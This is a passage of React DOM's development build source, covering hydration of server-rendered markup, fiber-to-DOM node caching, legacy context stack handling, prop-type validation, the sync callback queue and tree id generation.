    return diffHydratedProperties(instance, type, props, parentNamespace, rootContainerInstance, isConcurrentMode, shouldWarnDev);
  }
  function hydrateTextInstance(textInstance, text, internalInstanceHandle, shouldWarnDev) {
    precacheFiberNode(internalInstanceHandle, textInstance); // TODO: Temporary hack to check if we're in a concurrent root. We can delete
    // when the legacy root API is removed.

    var isConcurrentMode = (internalInstanceHandle.mode & ConcurrentMode) !== NoMode;
    return diffHydratedText(textInstance, text);
  }
  function hydrateSuspenseInstance(suspenseInstance, internalInstanceHandle) {
    precacheFiberNode(internalInstanceHandle, suspenseInstance);
  }
  function getNextHydratableInstanceAfterSuspenseInstance(suspenseInstance) {
    var node = suspenseInstance.nextSibling; // Skip past all nodes within this suspense boundary.
    // There might be nested nodes so we need to keep track of how
    // deep we are and only break out when we're back on top.

    var depth = 0;

    while (node) {
      if (node.nodeType === COMMENT_NODE) {
        var data = node.data;

        if (data === SUSPENSE_END_DATA) {
          if (depth === 0) {
            return getNextHydratableSibling(node);
          } else {
            depth--;
          }
        } else if (data === SUSPENSE_START_DATA || data === SUSPENSE_FALLBACK_START_DATA || data === SUSPENSE_PENDING_START_DATA) {
          depth++;
        }
      }

      node = node.nextSibling;
    } // TODO: Warn, we didn't find the end comment boundary.


    return null;
  } // Returns the SuspenseInstance if this node is a direct child of a
  // SuspenseInstance. I.e. if its previous sibling is a Comment with
  // SUSPENSE_x_START_DATA. Otherwise, null.

  function getParentSuspenseInstance(targetInstance) {
    var node = targetInstance.previousSibling; // Skip past all nodes within this suspense boundary.
    // There might be nested nodes so we need to keep track of how
    // deep we are and only break out when we're back on top.

    var depth = 0;

    while (node) {
      if (node.nodeType === COMMENT_NODE) {
        var data = node.data;

        if (data === SUSPENSE_START_DATA || data === SUSPENSE_FALLBACK_START_DATA || data === SUSPENSE_PENDING_START_DATA) {
          if (depth === 0) {
            return node;
          } else {
            depth--;
          }
        } else if (data === SUSPENSE_END_DATA) {
          depth++;
        }
      }

      node = node.previousSibling;
    }

    return null;
  }
  function commitHydratedContainer(container) {
    // Retry if any event replaying was blocked on this.
    retryIfBlockedOn(container);
  }
  function commitHydratedSuspenseInstance(suspenseInstance) {
    // Retry if any event replaying was blocked on this.
    retryIfBlockedOn(suspenseInstance);
  }
  function shouldDeleteUnhydratedTailInstances(parentType) {
    return parentType !== 'head' && parentType !== 'body';
  }
  function didNotMatchHydratedContainerTextInstance(parentContainer, textInstance, text, isConcurrentMode) {
    var shouldWarnDev = true;
    checkForUnmatchedText(textInstance.nodeValue, text, isConcurrentMode, shouldWarnDev);
  }
  function didNotMatchHydratedTextInstance(parentType, parentProps, parentInstance, textInstance, text, isConcurrentMode) {
    if (parentProps[SUPPRESS_HYDRATION_WARNING$1] !== true) {
      var shouldWarnDev = true;
      checkForUnmatchedText(textInstance.nodeValue, text, isConcurrentMode, shouldWarnDev);
    }
  }
  function didNotHydrateInstanceWithinContainer(parentContainer, instance) {
    {
      if (instance.nodeType === ELEMENT_NODE) {
        warnForDeletedHydratableElement(parentContainer, instance);
      } else if (instance.nodeType === COMMENT_NODE) ; else {
        warnForDeletedHydratableText(parentContainer, instance);
      }
    }
  }
  function didNotHydrateInstanceWithinSuspenseInstance(parentInstance, instance) {
    {
      // $FlowFixMe: Only Element or Document can be parent nodes.
      var parentNode = parentInstance.parentNode;

      if (parentNode !== null) {
        if (instance.nodeType === ELEMENT_NODE) {
          warnForDeletedHydratableElement(parentNode, instance);
        } else if (instance.nodeType === COMMENT_NODE) ; else {
          warnForDeletedHydratableText(parentNode, instance);
        }
      }
    }
  }
  function didNotHydrateInstance(parentType, parentProps, parentInstance, instance, isConcurrentMode) {
    {
      if (isConcurrentMode || parentProps[SUPPRESS_HYDRATION_WARNING$1] !== true) {
        if (instance.nodeType === ELEMENT_NODE) {
          warnForDeletedHydratableElement(parentInstance, instance);
        } else if (instance.nodeType === COMMENT_NODE) ; else {
          warnForDeletedHydratableText(parentInstance, instance);
        }
      }
    }
  }
  function didNotFindHydratableInstanceWithinContainer(parentContainer, type, props) {
    {
      warnForInsertedHydratedElement(parentContainer, type);
    }
  }
  function didNotFindHydratableTextInstanceWithinContainer(parentContainer, text) {
    {
      warnForInsertedHydratedText(parentContainer, text);
    }
  }
  function didNotFindHydratableInstanceWithinSuspenseInstance(parentInstance, type, props) {
    {
      // $FlowFixMe: Only Element or Document can be parent nodes.
      var parentNode = parentInstance.parentNode;
      if (parentNode !== null) warnForInsertedHydratedElement(parentNode, type);
    }
  }
  function didNotFindHydratableTextInstanceWithinSuspenseInstance(parentInstance, text) {
    {
      // $FlowFixMe: Only Element or Document can be parent nodes.
      var parentNode = parentInstance.parentNode;
      if (parentNode !== null) warnForInsertedHydratedText(parentNode, text);
    }
  }
  function didNotFindHydratableInstance(parentType, parentProps, parentInstance, type, props, isConcurrentMode) {
    {
      if (isConcurrentMode || parentProps[SUPPRESS_HYDRATION_WARNING$1] !== true) {
        warnForInsertedHydratedElement(parentInstance, type);
      }
    }
  }
  function didNotFindHydratableTextInstance(parentType, parentProps, parentInstance, text, isConcurrentMode) {
    {
      if (isConcurrentMode || parentProps[SUPPRESS_HYDRATION_WARNING$1] !== true) {
        warnForInsertedHydratedText(parentInstance, text);
      }
    }
  }
  function errorHydratingContainer(parentContainer) {
    {
      // TODO: This gets logged by onRecoverableError, too, so we should be
      // able to remove it.
      error('An error occurred during hydration. The server HTML was replaced with client content in <%s>.', parentContainer.nodeName.toLowerCase());
    }
  }
  function preparePortalMount(portalInstance) {
    listenToAllSupportedEvents(portalInstance);
  }

  var randomKey = Math.random().toString(36).slice(2);
  var internalInstanceKey = '__reactFiber$' + randomKey;
  var internalPropsKey = '__reactProps$' + randomKey;
  var internalContainerInstanceKey = '__reactContainer$' + randomKey;
  var internalEventHandlersKey = '__reactEvents$' + randomKey;
  var internalEventHandlerListenersKey = '__reactListeners$' + randomKey;
  var internalEventHandlesSetKey = '__reactHandles$' + randomKey;
  function detachDeletedInstance(node) {
    // TODO: This function is only called on host components. I don't think all of
    // these fields are relevant.
    delete node[internalInstanceKey];
    delete node[internalPropsKey];
    delete node[internalEventHandlersKey];
    delete node[internalEventHandlerListenersKey];
    delete node[internalEventHandlesSetKey];
  }
  function precacheFiberNode(hostInst, node) {
    node[internalInstanceKey] = hostInst;
  }
  function markContainerAsRoot(hostRoot, node) {
    node[internalContainerInstanceKey] = hostRoot;
  }
  function unmarkContainerAsRoot(node) {
    node[internalContainerInstanceKey] = null;
  }
  function isContainerMarkedAsRoot(node) {
    return !!node[internalContainerInstanceKey];
  } // Given a DOM node, return the closest HostComponent or HostText fiber ancestor.
  // If the target node is part of a hydrated or not yet rendered subtree, then
  // this may also return a SuspenseComponent or HostRoot to indicate that.
  // Conceptually the HostRoot fiber is a child of the Container node. So if you
  // pass the Container node as the targetNode, you will not actually get the
  // HostRoot back. To get to the HostRoot, you need to pass a child of it.
  // The same thing applies to Suspense boundaries.

  function getClosestInstanceFromNode(targetNode) {
    var targetInst = targetNode[internalInstanceKey];

    if (targetInst) {
      // Don't return HostRoot or SuspenseComponent here.
      return targetInst;
    } // If the direct event target isn't a React owned DOM node, we need to look
    // to see if one of its parents is a React owned DOM node.


    var parentNode = targetNode.parentNode;

    while (parentNode) {
      // We'll check if this is a container root that could include
      // React nodes in the future. We need to check this first because
      // if we're a child of a dehydrated container, we need to first
      // find that inner container before moving on to finding the parent
      // instance. Note that we don't check this field on  the targetNode
      // itself because the fibers are conceptually between the container
      // node and the first child. It isn't surrounding the container node.
      // If it's not a container, we check if it's an instance.
      targetInst = parentNode[internalContainerInstanceKey] || parentNode[internalInstanceKey];

      if (targetInst) {
        // Since this wasn't the direct target of the event, we might have
        // stepped past dehydrated DOM nodes to get here. However they could
        // also have been non-React nodes. We need to answer which one.
        // If we the instance doesn't have any children, then there can't be
        // a nested suspense boundary within it. So we can use this as a fast
        // bailout. Most of the time, when people add non-React children to
        // the tree, it is using a ref to a child-less DOM node.
        // Normally we'd only need to check one of the fibers because if it
        // has ever gone from having children to deleting them or vice versa
        // it would have deleted the dehydrated boundary nested inside already.
        // However, since the HostRoot starts out with an alternate it might
        // have one on the alternate so we need to check in case this was a
        // root.
        var alternate = targetInst.alternate;

        if (targetInst.child !== null || alternate !== null && alternate.child !== null) {
          // Next we need to figure out if the node that skipped past is
          // nested within a dehydrated boundary and if so, which one.
          var suspenseInstance = getParentSuspenseInstance(targetNode);

          while (suspenseInstance !== null) {
            // We found a suspense instance. That means that we haven't
            // hydrated it yet. Even though we leave the comments in the
            // DOM after hydrating, and there are boundaries in the DOM
            // that could already be hydrated, we wouldn't have found them
            // through this pass since if the target is hydrated it would
            // have had an internalInstanceKey on it.
            // Let's get the fiber associated with the SuspenseComponent
            // as the deepest instance.
            var targetSuspenseInst = suspenseInstance[internalInstanceKey];

            if (targetSuspenseInst) {
              return targetSuspenseInst;
            } // If we don't find a Fiber on the comment, it might be because
            // we haven't gotten to hydrate it yet. There might still be a
            // parent boundary that hasn't above this one so we need to find
            // the outer most that is known.


            suspenseInstance = getParentSuspenseInstance(suspenseInstance); // If we don't find one, then that should mean that the parent
            // host component also hasn't hydrated yet. We can return it
            // below since it will bail out on the isMounted check later.
          }
        }

        return targetInst;
      }

      targetNode = parentNode;
      parentNode = targetNode.parentNode;
    }

    return null;
  }
  /**
   * Given a DOM node, return the ReactDOMComponent or ReactDOMTextComponent
   * instance, or null if the node was not rendered by this React.
   */

  function getInstanceFromNode(node) {
    var inst = node[internalInstanceKey] || node[internalContainerInstanceKey];

    if (inst) {
      if (inst.tag === HostComponent || inst.tag === HostText || inst.tag === SuspenseComponent || inst.tag === HostRoot) {
        return inst;
      } else {
        return null;
      }
    }

    return null;
  }
  /**
   * Given a ReactDOMComponent or ReactDOMTextComponent, return the corresponding
   * DOM node.
   */

  function getNodeFromInstance(inst) {
    if (inst.tag === HostComponent || inst.tag === HostText) {
      // In Fiber this, is just the state node right now. We assume it will be
      // a host component or host text.
      return inst.stateNode;
    } // Without this first invariant, passing a non-DOM-component triggers the next
    // invariant for a missing parent, which is super confusing.


    throw new Error('getNodeFromInstance: Invalid argument.');
  }
  function getFiberCurrentPropsFromNode(node) {
    return node[internalPropsKey] || null;
  }
  function updateFiberProps(node, props) {
    node[internalPropsKey] = props;
  }
  function getEventListenerSet(node) {
    var elementListenerSet = node[internalEventHandlersKey];

    if (elementListenerSet === undefined) {
      elementListenerSet = node[internalEventHandlersKey] = new Set();
    }

    return elementListenerSet;
  }

  var loggedTypeFailures = {};
  var ReactDebugCurrentFrame$1 = ReactSharedInternals.ReactDebugCurrentFrame;

  function setCurrentlyValidatingElement(element) {
    {
      if (element) {
        var owner = element._owner;
        var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);
        ReactDebugCurrentFrame$1.setExtraStackFrame(stack);
      } else {
        ReactDebugCurrentFrame$1.setExtraStackFrame(null);
      }
    }
  }

  function checkPropTypes(typeSpecs, values, location, componentName, element) {
    {
      // $FlowFixMe This is okay but Flow doesn't know it.
      var has = Function.call.bind(hasOwnProperty);

      for (var typeSpecName in typeSpecs) {
        if (has(typeSpecs, typeSpecName)) {
          var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to
          // fail the render phase where it didn't fail before. So we log it.
          // After these have been cleaned up, we'll let them throw.

          try {
            // This is intentionally an invariant that gets caught. It's the same
            // behavior as without this statement except with a better message.
            if (typeof typeSpecs[typeSpecName] !== 'function') {
              // eslint-disable-next-line react-internal/prod-error-codes
              var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');
              err.name = 'Invariant Violation';
              throw err;
            }

            error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');
          } catch (ex) {
            error$1 = ex;
          }

          if (error$1 && !(error$1 instanceof Error)) {
            setCurrentlyValidatingElement(element);

            error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);

            setCurrentlyValidatingElement(null);
          }

          if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {
            // Only monitor this failure once because there tends to be a lot of the
            // same error.
            loggedTypeFailures[error$1.message] = true;
            setCurrentlyValidatingElement(element);

            error('Failed %s type: %s', location, error$1.message);

            setCurrentlyValidatingElement(null);
          }
        }
      }
    }
  }

  var valueStack = [];
  var fiberStack;

  {
    fiberStack = [];
  }

  var index = -1;

  function createCursor(defaultValue) {
    return {
      current: defaultValue
    };
  }

  function pop(cursor, fiber) {
    if (index < 0) {
      {
        error('Unexpected pop.');
      }

      return;
    }

    {
      if (fiber !== fiberStack[index]) {
        error('Unexpected Fiber popped.');
      }
    }

    cursor.current = valueStack[index];
    valueStack[index] = null;

    {
      fiberStack[index] = null;
    }

    index--;
  }

  function push(cursor, value, fiber) {
    index++;
    valueStack[index] = cursor.current;

    {
      fiberStack[index] = fiber;
    }

    cursor.current = value;
  }

  var warnedAboutMissingGetChildContext;

  {
    warnedAboutMissingGetChildContext = {};
  }

  var emptyContextObject = {};

  {
    Object.freeze(emptyContextObject);
  } // A cursor to the current merged context object on the stack.


  var contextStackCursor = createCursor(emptyContextObject); // A cursor to a boolean indicating whether the context has changed.

  var didPerformWorkStackCursor = createCursor(false); // Keep track of the previous context object that was on the stack.
  // We use this to get access to the parent context after we have already
  // pushed the next context provider, and now need to merge their contexts.

  var previousContext = emptyContextObject;

  function getUnmaskedContext(workInProgress, Component, didPushOwnContextIfProvider) {
    {
      if (didPushOwnContextIfProvider && isContextProvider(Component)) {
        // If the fiber is a context provider itself, when we read its context
        // we may have already pushed its own child context on the stack. A context
        // provider should not "see" its own child context. Therefore we read the
        // previous (parent) context instead for a context provider.
        return previousContext;
      }

      return contextStackCursor.current;
    }
  }

  function cacheContext(workInProgress, unmaskedContext, maskedContext) {
    {
      var instance = workInProgress.stateNode;
      instance.__reactInternalMemoizedUnmaskedChildContext = unmaskedContext;
      instance.__reactInternalMemoizedMaskedChildContext = maskedContext;
    }
  }

  function getMaskedContext(workInProgress, unmaskedContext) {
    {
      var type = workInProgress.type;
      var contextTypes = type.contextTypes;

      if (!contextTypes) {
        return emptyContextObject;
      } // Avoid recreating masked context unless unmasked context has changed.
      // Failing to do this will result in unnecessary calls to componentWillReceiveProps.
      // This may trigger infinite loops if componentWillReceiveProps calls setState.


      var instance = workInProgress.stateNode;

      if (instance && instance.__reactInternalMemoizedUnmaskedChildContext === unmaskedContext) {
        return instance.__reactInternalMemoizedMaskedChildContext;
      }

      var context = {};

      for (var key in contextTypes) {
        context[key] = unmaskedContext[key];
      }

      {
        var name = getComponentNameFromFiber(workInProgress) || 'Unknown';
        checkPropTypes(contextTypes, context, 'context', name);
      } // Cache unmasked context so we can avoid recreating masked context unless necessary.
      // Context is created before the class component is instantiated so check for instance.


      if (instance) {
        cacheContext(workInProgress, unmaskedContext, context);
      }

      return context;
    }
  }

  function hasContextChanged() {
    {
      return didPerformWorkStackCursor.current;
    }
  }

  function isContextProvider(type) {
    {
      var childContextTypes = type.childContextTypes;
      return childContextTypes !== null && childContextTypes !== undefined;
    }
  }

  function popContext(fiber) {
    {
      pop(didPerformWorkStackCursor, fiber);
      pop(contextStackCursor, fiber);
    }
  }

  function popTopLevelContextObject(fiber) {
    {
      pop(didPerformWorkStackCursor, fiber);
      pop(contextStackCursor, fiber);
    }
  }

  function pushTopLevelContextObject(fiber, context, didChange) {
    {
      if (contextStackCursor.current !== emptyContextObject) {
        throw new Error('Unexpected context found on stack. ' + 'This error is likely caused by a bug in React. Please file an issue.');
      }

      push(contextStackCursor, context, fiber);
      push(didPerformWorkStackCursor, didChange, fiber);
    }
  }

  function processChildContext(fiber, type, parentContext) {
    {
      var instance = fiber.stateNode;
      var childContextTypes = type.childContextTypes; // TODO (bvaughn) Replace this behavior with an invariant() in the future.
      // It has only been added in Fiber to match the (unintentional) behavior in Stack.

      if (typeof instance.getChildContext !== 'function') {
        {
          var componentName = getComponentNameFromFiber(fiber) || 'Unknown';

          if (!warnedAboutMissingGetChildContext[componentName]) {
            warnedAboutMissingGetChildContext[componentName] = true;

            error('%s.childContextTypes is specified but there is no getChildContext() method ' + 'on the instance. You can either define getChildContext() on %s or remove ' + 'childContextTypes from it.', componentName, componentName);
          }
        }

        return parentContext;
      }

      var childContext = instance.getChildContext();

      for (var contextKey in childContext) {
        if (!(contextKey in childContextTypes)) {
          throw new Error((getComponentNameFromFiber(fiber) || 'Unknown') + ".getChildContext(): key \"" + contextKey + "\" is not defined in childContextTypes.");
        }
      }

      {
        var name = getComponentNameFromFiber(fiber) || 'Unknown';
        checkPropTypes(childContextTypes, childContext, 'child context', name);
      }

      return assign({}, parentContext, childContext);
    }
  }

  function pushContextProvider(workInProgress) {
    {
      var instance = workInProgress.stateNode; // We push the context as early as possible to ensure stack integrity.
      // If the instance does not exist yet, we will push null at first,
      // and replace it on the stack later when invalidating the context.

      var memoizedMergedChildContext = instance && instance.__reactInternalMemoizedMergedChildContext || emptyContextObject; // Remember the parent context so we can merge with it later.
      // Inherit the parent's did-perform-work value to avoid inadvertently blocking updates.

      previousContext = contextStackCursor.current;
      push(contextStackCursor, memoizedMergedChildContext, workInProgress);
      push(didPerformWorkStackCursor, didPerformWorkStackCursor.current, workInProgress);
      return true;
    }
  }

  function invalidateContextProvider(workInProgress, type, didChange) {
    {
      var instance = workInProgress.stateNode;

      if (!instance) {
        throw new Error('Expected to have an instance by this point. ' + 'This error is likely caused by a bug in React. Please file an issue.');
      }

      if (didChange) {
        // Merge parent and own context.
        // Skip this if we're not updating due to sCU.
        // This avoids unnecessarily recomputing memoized values.
        var mergedContext = processChildContext(workInProgress, type, previousContext);
        instance.__reactInternalMemoizedMergedChildContext = mergedContext; // Replace the old (or empty) context with the new one.
        // It is important to unwind the context in the reverse order.

        pop(didPerformWorkStackCursor, workInProgress);
        pop(contextStackCursor, workInProgress); // Now push the new context and mark that it has changed.

        push(contextStackCursor, mergedContext, workInProgress);
        push(didPerformWorkStackCursor, didChange, workInProgress);
      } else {
        pop(didPerformWorkStackCursor, workInProgress);
        push(didPerformWorkStackCursor, didChange, workInProgress);
      }
    }
  }

  function findCurrentUnmaskedContext(fiber) {
    {
      // Currently this is only used with renderSubtreeIntoContainer; not sure if it
      // makes sense elsewhere
      if (!isFiberMounted(fiber) || fiber.tag !== ClassComponent) {
        throw new Error('Expected subtree parent to be a mounted class component. ' + 'This error is likely caused by a bug in React. Please file an issue.');
      }

      var node = fiber;

      do {
        switch (node.tag) {
          case HostRoot:
            return node.stateNode.context;

          case ClassComponent:
            {
              var Component = node.type;

              if (isContextProvider(Component)) {
                return node.stateNode.__reactInternalMemoizedMergedChildContext;
              }

              break;
            }
        }

        node = node.return;
      } while (node !== null);

      throw new Error('Found unexpected detached subtree parent. ' + 'This error is likely caused by a bug in React. Please file an issue.');
    }
  }

  var LegacyRoot = 0;
  var ConcurrentRoot = 1;

  var syncQueue = null;
  var includesLegacySyncCallbacks = false;
  var isFlushingSyncQueue = false;
  function scheduleSyncCallback(callback) {
    // Push this callback into an internal queue. We'll flush these either in
    // the next tick, or earlier if something calls `flushSyncCallbackQueue`.
    if (syncQueue === null) {
      syncQueue = [callback];
    } else {
      // Push onto existing queue. Don't need to schedule a callback because
      // we already scheduled one when we created the queue.
      syncQueue.push(callback);
    }
  }
  function scheduleLegacySyncCallback(callback) {
    includesLegacySyncCallbacks = true;
    scheduleSyncCallback(callback);
  }
  function flushSyncCallbacksOnlyInLegacyMode() {
    // Only flushes the queue if there's a legacy sync callback scheduled.
    // TODO: There's only a single type of callback: performSyncOnWorkOnRoot. So
    // it might make more sense for the queue to be a list of roots instead of a
    // list of generic callbacks. Then we can have two: one for legacy roots, one
    // for concurrent roots. And this method would only flush the legacy ones.
    if (includesLegacySyncCallbacks) {
      flushSyncCallbacks();
    }
  }
  function flushSyncCallbacks() {
    if (!isFlushingSyncQueue && syncQueue !== null) {
      // Prevent re-entrance.
      isFlushingSyncQueue = true;
      var i = 0;
      var previousUpdatePriority = getCurrentUpdatePriority();

      try {
        var isSync = true;
        var queue = syncQueue; // TODO: Is this necessary anymore? The only user code that runs in this
        // queue is in the render or commit phases.

        setCurrentUpdatePriority(DiscreteEventPriority);

        for (; i < queue.length; i++) {
          var callback = queue[i];

          do {
            callback = callback(isSync);
          } while (callback !== null);
        }

        syncQueue = null;
        includesLegacySyncCallbacks = false;
      } catch (error) {
        // If something throws, leave the remaining callbacks on the queue.
        if (syncQueue !== null) {
          syncQueue = syncQueue.slice(i + 1);
        } // Resume flushing in the next tick


        scheduleCallback(ImmediatePriority, flushSyncCallbacks);
        throw error;
      } finally {
        setCurrentUpdatePriority(previousUpdatePriority);
        isFlushingSyncQueue = false;
      }
    }

    return null;
  }

  // TODO: Use the unified fiber stack module instead of this local one?
  // Intentionally not using it yet to derisk the initial implementation, because
  // the way we push/pop these values is a bit unusual. If there's a mistake, I'd
  // rather the ids be wrong than crash the whole reconciler.
  var forkStack = [];
  var forkStackIndex = 0;
  var treeForkProvider = null;
  var treeForkCount = 0;
  var idStack = [];
  var idStackIndex = 0;
  var treeContextProvider = null;
  var treeContextId = 1;
  var treeContextOverflow = '';
  function isForkedChild(workInProgress) {
    warnIfNotHydrating();
    return (workInProgress.flags & Forked) !== NoFlags;
  }
  function getForksAtLevel(workInProgress) {
    warnIfNotHydrating();
    return treeForkCount;
  }
  function getTreeId() {
    var overflow = treeContextOverflow;
    var idWithLeadingBit = treeContextId;
    var id = idWithLeadingBit & ~getLeadingBit(idWithLeadingBit);
    return id.toString(32) + overflow;
  }
  function pushTreeFork(workInProgress, totalChildren) {
    // This is called right after we reconcile an array (or iterator) of child
    // fibers, because that's the only place where we know how many children in
    // the whole set without doing extra work later, or storing addtional
    // information on the fiber.
    //
    // That's why this function is separate from pushTreeId — it's called during
    // the render phase of the fork parent, not the child, which is where we push
    // the other context values.
    //
    // In the Fizz implementation this is much simpler because the child is
    // rendered in the same callstack as the parent.
    //
    // It might be better to just add a `forks` field to the Fiber type. It would
    // make this module simpler.
    warnIfNotHydrating();
    forkStack[forkStackIndex++] = treeForkCount;
    forkStack[forkStackIndex++] = treeForkProvider;
    treeForkProvider = workInProgress;
    treeForkCount = totalChildren;
  }
  function pushTreeId(workInProgress, totalChildren, index) {
    warnIfNotHydrating();
    idStack[idStackIndex++] = treeContextId;
    idStack[idStackIndex++] = treeContextOverflow;
    idStack[idStackIndex++] = treeContextProvider;
    treeContextProvider = workInProgress;
    var baseIdWithLeadingBit = treeContextId;
    var baseOverflow = treeContextOverflow; // The leftmost 1 marks the end of the sequence, non-inclusive. It's not part
    // of the id; we use it to account for leading 0s.

    var baseLength = getBitLength(baseIdWithLeadingBit) - 1;
    var baseId = baseIdWithLeadingBit & ~(1 << baseLength);
    var slot = index + 1;
    var length = getBitLength(totalChildren) + baseLength; // 30 is the max length we can store without overflowing, taking into
    // consideration the leading 1 we use to mark the end of the sequence.

    if (length > 30) {
      // We overflowed the bitwise-safe range. Fall back to slower algorithm.
      // This branch assumes the length of the base id is greater than 5; it won't
      // work for smaller ids, because you need 5 bits per character.
      //
      // We encode the id in multiple steps: first the base id, then the
      // remaining digits.
      //
      // Each 5 bit sequence corresponds to a single base 32 character. So for
      // example, if the current id is 23 bits long, we can convert 20 of those
      // bits into a string of 4 characters, with 3 bits left over.
      //
      // First calculate how many bits in the base id represent a complete
      // sequence of characters.
      var numberOfOverflowBits = baseLength - baseLength % 5; // Then create a bitmask that selects only those bits.

      var newOverflowBits = (1 << numberOfOverflowBits) - 1; // Select the bits, and convert them to a base 32 string.

      var newOverflow = (baseId & newOverflowBits).toString(32); // Now we can remove those bits from the base id.

      var restOfBaseId = baseId >> numberOfOverflowBits;
      var restOfBaseLength = baseLength - numberOfOverflowBits; // Finally, encode the rest of the bits using the normal algorithm. Because
      // we made more room, this time it won't overflow.

      var restOfLength = getBitLength(totalChildren) + restOfBaseLength;
      var restOfNewBits = slot << restOfBaseLength;
      var id = restOfNewBits | restOfBaseId;
      var overflow = newOverflow + baseOverflow;
      treeContextId = 1 << restOfLength | id;
      treeContextOverflow = overflow;
    } else {
      // Normal path
      var newBits = slot << baseLength;

      var _id = newBits | baseId;

      var _overflow = baseOverflow;
      treeContextId = 1 << length | _id;
      treeContextOverflow = _overflow;
    }
  }
  function pushMaterializedTreeId(workInProgress) {
    warnIfNotHydrating(); // This component materialized an id. This will affect any ids that appear
    // in its children.

    var returnFiber = workInProgress.return;

    if (returnFiber !== null) {
      var numberOfForks = 1;
      var slotIndex = 0;
      pushTreeFork(workInProgress, numberOfForks);
      pushTreeId(workInProgress, numberOfForks, slotIndex);
    }
  }

  function getBitLength(number) {
    return 32 - clz32(number);
  }

  function getLeadingBit(id) {
    return 1 << getBitLength(id) - 1;
  }

  function popTreeContext(workInProgress) {
    // Restore the previous values.
    // This is a bit more complicated than other context-like modules in Fiber
    // because the same Fiber may appear on the stack multiple times and for
    // different reasons. We have to keep popping until the work-in-progress is
    // no longer at the top of the stack.
    while (workInProgress === treeForkProvider) {
      treeForkProvider = forkStack[--forkStackIndex];
      forkStack[forkStackIndex] = null;
      treeForkCount = forkStack[--forkStackIndex];
      forkStack[forkStackIndex] = null;
    }

    while (workInProgress === treeContextProvider) {
      treeContextProvider = idStack[--idStackIndex];
      idStack[idStackIndex] = null;
      treeContextOverflow = idStack[--idStackIndex];
      idStack[idStackIndex] = null;
      treeContextId = idStack[--idStackIndex];
      idStack[idStackIndex] = null;
    }
  }
  function getSuspendedTreeContext() {
    warnIfNotHydrating();

    if (treeContextProvider !== null) {
      return {
        id: treeContextId,
        overflow: treeContextOverflow
      };
    } else {
      return null;
    }
  }
  function restoreSuspendedTreeContext(workInProgress, suspendedContext) {
    warnIfNotHydrating();
    idStack[idStackIndex++] = treeContextId;
    idStack[idStackIndex++] = treeContextOverflow;
    idStack[idStackIndex++] = treeContextProvider;
    treeContextId = suspendedContext.id;
    treeContextOverflow = suspendedContext.overflow;
    treeContextProvider = workInProgress;
  }

  function warnIfNotHydrating() {
    {
      if (!getIsHydrating()) {
        error('Expected to be hydrating. This is a bug in React. Please file ' + 'an issue.');
      }
    }
  }

  // This may have been an insertion or a hydration.

  var hydrationParentFiber = null;
  var nextHydratableInstance = null;
  var isHydrating = false; // This flag allows for warning supression when we expect there to be mismatches
  // due to earlier mismatches or a suspended fiber.

  var didSuspendOrErrorDEV = false; // Hydration errors that were thrown inside this boundary

  var hydrationErrors = null;

  function warnIfHydrating() {
    {
      if (isHydrating) {
        error('We should not be hydrating here. This is a bug in React. Please file a bug.');
      }
    }
  }

  function markDidThrowWhileHydratingDEV() {
    {
      didSuspendOrErrorDEV = true;
    }
  }
  function didSuspendOrErrorWhileHydratingDEV() {
    {
      return didSuspendOrErrorDEV;
    }
  }

  function enterHydrationState(fiber) {

    var parentInstance = fiber.stateNode.containerInfo;
    nextHydratableInstance = getFirstHydratableChildWithinContainer(parentInstance);
    hydrationParentFiber = fiber;
    isHydrating = true;
    hydrationErrors = null;
    didSuspendOrErrorDEV = false;
    return true;
  }

  function reenterHydrationStateFromDehydratedSuspenseInstance(fiber, suspenseInstance, treeContext) {

    nextHydratableInstance = getFirstHydratableChildWithinSuspenseInstance(suspenseInstance);
    hydrationParentFiber = fiber;
    isHydrating = true;
    hydrationErrors = null;
    didSuspendOrErrorDEV = false;

    if (treeContext !== null) {
      restoreSuspendedTreeContext(fiber, treeContext);
    }

    return true;
  }

  function warnUnhydratedInstance(returnFiber, instance) {
    {
      switch (returnFiber.tag) {
        case HostRoot:
          {
            didNotHydrateInstanceWithinContainer(returnFiber.stateNode.containerInfo, instance);
            break;
          }

        case HostComponent:
          {
            var isConcurrentMode = (returnFiber.mode & ConcurrentMode) !== NoMode;
            didNotHydrateInstance(returnFiber.type, returnFiber.memoizedProps, returnFiber.stateNode, instance, // TODO: Delete this argument when we remove the legacy root API.
            isConcurrentMode);
            break;
          }

        case SuspenseComponent:
          {
            var suspenseState = returnFiber.memoizedState;
            if (suspenseState.dehydrated !== null) didNotHydrateInstanceWithinSuspenseInstance(suspenseState.dehydrated, instance);
            break;
          }
      }
    }
  }

  function deleteHydratableInstance(returnFiber, instance) {
    warnUnhydratedInstance(returnFiber, instance);
    var childToDelete = createFiberFromHostInstanceForDeletion();
    childToDelete.stateNode = instance;
    childToDelete.return = returnFiber;
    var deletions = returnFiber.deletions;

    if (deletions === null) {
      returnFiber.deletions = [childToDelete];
      returnFiber.flags |= ChildDeletion;
    } else {
      deletions.push(childToDelete);
    }
  }

  function warnNonhydratedInstance(returnFiber, fiber) {
    {
      if (didSuspendOrErrorDEV) {
        // Inside a boundary that already suspended. We're currently rendering the
        // siblings of a suspended node. The mismatch may be due to the missing
        // data, so it's probably a false positive.
        return;
      }

      switch (returnFiber.tag) {
        case HostRoot:
          {
            var parentContainer = returnFiber.stateNode.containerInfo;

            switch (fiber.tag) {
              case HostComponent:
                var type = fiber.type;
                var props = fiber.pendingProps;
                didNotFindHydratableInstanceWithinContainer(parentContainer, type);
                break;

              case HostText:
                var text = fiber.pendingProps;
                didNotFindHydratableTextInstanceWithinContainer(parentContainer, text);
                break;
            }

            break;
          }

        case HostComponent:
          {
            var parentType = returnFiber.type;
            var parentProps = returnFiber.memoizedProps;
            var parentInstance = returnFiber.stateNode;

            switch (fiber.tag) {
